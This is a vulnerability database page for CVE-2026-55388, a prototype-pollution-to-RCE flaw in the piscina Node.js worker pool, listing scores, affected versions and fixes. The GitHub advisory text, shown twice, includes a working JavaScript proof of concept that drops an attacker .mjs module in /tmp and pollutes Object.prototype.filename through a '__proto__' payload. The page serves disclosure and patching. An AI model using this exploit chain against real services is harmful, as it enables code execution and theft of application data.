Every CVE Search/ Get API key

CVE-2026-55388

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

8.1 HighFix available

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.48%Up 0.2 points since Jun 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Record
CVE-2026-55388
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-1321
Updated
2026-11-03
EUVDEUVD-2026-38320 8.1

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Record
EUVD-2026-38320
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-x9g3-xrwr-cwfg 8.1

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

  1. Upstream PP-source somewhere in the process — common in transitive deps
  2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:

  • Every pool.run(task, opts) call across the entire process is hijacked
  • Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
  • Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
  • Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data…
Record
GHSA-x9g3-xrwr-cwfg
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-1321
Updated
2026-11-02
NVD 8.1

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Record
CVE-2026-55388
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-1321
Updated
2026-11-02
OSV 8.1

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Record
CVE-2026-55388
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321, CWE-94
Updated
2026-11-04
OSVGHSA-x9g3-xrwr-cwfg 8.1

piscina: Prototype Pollution Gadget → RCE via inherited options.filename

Summary

piscina's constructor and run() paths read the filename option via plain member access:

// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;

Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.

Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).

Impact

Two preconditions:

  1. Upstream PP-source somewhere in the process — common in transitive deps
  2. Attacker-controllable .mjs at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:

  • Every pool.run(task, opts) call across the entire process is hijacked
  • Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
  • Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
  • Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

Affected versions

Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

Proof of concept

A) Minimal in-process PoC

import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data…
Record
GHSA-x9g3-xrwr-cwfg
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321, CWE-94
Updated
2026-11-02
Show 5 moreShow less
OSVCLSA-2026-1784943103 No score

TuxCare security update for piscina (1 CVE)

TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.6.1-tuxcare.1.

Record
CLSA-2026-1784943103
Updated
2026-11-02
OSVCLSA-2026-1792231948 No score

TuxCare security update for piscina (1 CVE)

TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.8.0-tuxcare.2.

Record
CLSA-2026-1792231948
Updated
2026-11-02
OSVCLSA-2026-1792232060 No score

TuxCare security update for piscina (1 CVE)

TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.4.0-tuxcare.2.

Record
CLSA-2026-1792232060
Updated
2026-11-02
OSVCLSA-2026-1793206864 No score

TuxCare security update for piscina (2 CVEs)

TuxCare rebuilt piscina to address 2 CVEs. Fixed in 3.2.0-tuxcare.1.

Record
CLSA-2026-1793206864
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-55388 No score

CVE-2026-55388 in piscina - Patched by Root

Root has patched CVE-2026-55388 in the piscina package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-55388
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
piscina
npm
5.0.0-alpha.0 to 5.1.4
5.2.0
piscina
npm
through 4.9.2
4.9.3
piscina
npm
6.0.0-rc.1 up to 6.0.0-rc.2
6.0.0-rc.2
piscina
TuxCare:npm
4.6.1-tuxcare.0 up to 4.6.1-tuxcare.1, plus listed versions
4.6.1
4.6.1-tuxcare.1
piscina
TuxCare:npm
4.8.0-tuxcare.0 up to 4.8.0-tuxcare.2, plus listed versions
4.8.04.8.0-tuxcare.1
4.8.0-tuxcare.2
piscina
TuxCare:npm
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.2, plus listed versions
4.4.04.4.0-tuxcare.1
4.4.0-tuxcare.2
piscina
TuxCare:npm
From an advisory covering 2 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.1, plus listed versions
3.2.0
3.2.0-tuxcare.1
piscina
npm
5.0.0-alpha.0 up to 5.2.0
5.2.0
piscina
npm
before 4.9.3
4.9.3
piscina
Root:npm
before 3.2.0-aikido.2
3.2.0-aikido.23.2.0-aikido.14.9.2-aikido.1
@rootio/piscina
Root:npm
before 3.2.0-root.io.2
3.2.0-root.io.23.2.0-root.io.14.9.2-root.io.1

History

History
RecordedChangedSources
affectedCVE List, OSV
factsEUVD
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55388 is a high vulnerability (CVSS 8.1) in Piscinajs Piscina, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in piscina 5.2.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open